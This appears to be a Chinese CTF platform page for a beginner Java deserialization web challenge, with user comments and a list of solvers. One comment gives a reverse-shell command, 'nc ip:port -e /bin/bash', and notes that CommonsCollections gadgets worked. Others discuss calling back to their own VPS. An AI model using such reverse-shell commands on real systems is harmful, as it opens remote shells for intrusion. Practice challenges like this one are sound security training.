ez_java_serializeWEB 未解决

分数: 25 金币: 3
题目作者: 0xcccc
一  血: Paradiso
一血奖励: 5金币
解  决: 191
提  示:
描  述:
基础的java反序列化题目
其  他: 下载
评论
laodao 4年前

提交的数据一直是响应something is wrong,请问大佬是什么原因啊

回复 0
mamba24 3年前

我也是

回复 0

fallingskies 4年前

本地可以,场景里不行,吐了?

回复 1

Otaku 4年前

...不知道是不是真的连不上外网,反正我在我自己的本地跑不论是ping,curl还是nc都能连上我的vps。但是在这个环境下返回233但是vps毫无反应

回复 1

amajane 4年前

环境很容易被干死

回复 1

云牧青 4年前

淦,好坑,bug很多。如果能执行命令了,bash -i反弹是不行的,bash -c中的命令也不能被执行,直接用nc ip:port -e /bin/bash

回复 0
hotencode 4年前

到了2333这一步请问师傅怎么nc的啊,我根本连不上

回复 0

Black_hole 4年前

rnm退钱

回复 9

bazett 4年前

没明白反序列化是啥意思

回复 0

云牧青 4年前

搞了一下午,从最开始啥也不知道干到ObjectInputStream,干到CommonsCollections,干到成功看到2333的响应。启动了两次环境,结果发现好像不通外网拿不了shell... 你却让我输得这么彻底,哈哈哈哈哈哈哈, 焯 !!!!!!

回复 0

狐萝卜CarroT 4年前

java反序列化我倒是没了解过,还是先去看看基础吧..

回复 2

zxmals 4年前

还要花金币下载 。。。。。

回复 0

WriteUp

image
jack12138

8 金币

评分(3)

解题动态

18155564659 攻破了该题 5天前
sectmp 攻破了该题 10天前
爱喝畅汁 攻破了该题 14天前
yao77 攻破了该题 16天前
13212404250 攻破了该题 26天前
roaea 攻破了该题 1月前
dlgz 攻破了该题 1月前
2333m 攻破了该题 1月前
2901600657 攻破了该题 1月前
shi 攻破了该题 2月前
mOvOn 攻破了该题 2月前
T41ntX 攻破了该题 2月前
kr2yh 攻破了该题 2月前
peppaXvX 攻破了该题 2月前
小马哥 攻破了该题 3月前
jerryxucy 攻破了该题 3月前
yixcjy 攻破了该题 4月前
wangzhuo 攻破了该题 4月前
SkyAsh 攻破了该题 5月前
coksy2 攻破了该题 5月前
问题反馈